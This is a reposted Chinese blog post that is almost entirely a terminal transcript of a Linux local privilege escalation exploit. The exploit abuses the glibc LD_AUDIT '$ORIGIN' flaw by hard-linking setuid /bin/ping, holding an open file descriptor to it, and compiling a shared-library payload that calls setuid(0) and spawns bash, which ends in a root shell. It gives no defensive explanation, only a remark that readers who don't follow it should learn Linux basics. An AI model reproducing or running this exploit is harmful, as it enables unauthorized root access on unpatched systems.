Linux Local Privilege exp

 [met3or@c3 /]$ ls -al |grep exp
drwxrwxrwx   2 root root    4096 Oct 19 19:25 exp
[met3or@c3 /]$ cd exp
[met3or@c3 exp]$ mkdir exploit
[met3or@c3 exp]$ ls -al
drwxrwxrwx 3 root   root   4096 Oct 19 19:26 .
drwxr-xr-x 26 root   root   4096 Oct 19 19:24 ..
drwxrwxr-x 2 met3or met3or 4096 Oct 19 19:26 exploit
[met3or@c3 exp]$ ln /bin/ping /exp/exploit/target
[met3or@c3 exp]$ exec 3< /exp/exploit/target 
[met3or@c3 exp]$ ls -l /proc/$$/fd/3
lr-x------ 1 met3or met3or 64 Oct 19 19:25 /proc/6030/fd/3 -> /exp/exploit/target
[met3or@c3 exp]$ rm -rf /exp/exploit/
[met3or@c3 exp]$ ls -l /proc/$$/fd/3 
lr-x------ 1 met3or met3or 64 Oct 19 19:25 /proc/6030/fd/3 -> /exp/exploit/target (deleted)
[met3or@c3 exp]$ cat > payload.c
void __attribute__((constructor)) init()
{
    setuid(0);
    system("/bin/bash");
}
[met3or@c3 exp]$ gcc -w -fPIC -shared -o /exp/exploit payload.c
[met3or@c3 exp]$ ls -l /exp/exploit
-rwxrwxr-x 1 met3or met3or 4223 Oct 19 19:27 /exp/exploit
[met3or@c3 exp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
[root@c3 exp]# whoami
root
[root@c3 exp]# id
uid=0(root) gid=510(met3or) groups=510(met3or)

看的懂的人懂,看不懂的熟悉linux相关基础知识去~

















本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/440265,如需转载请自行联系原作者

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值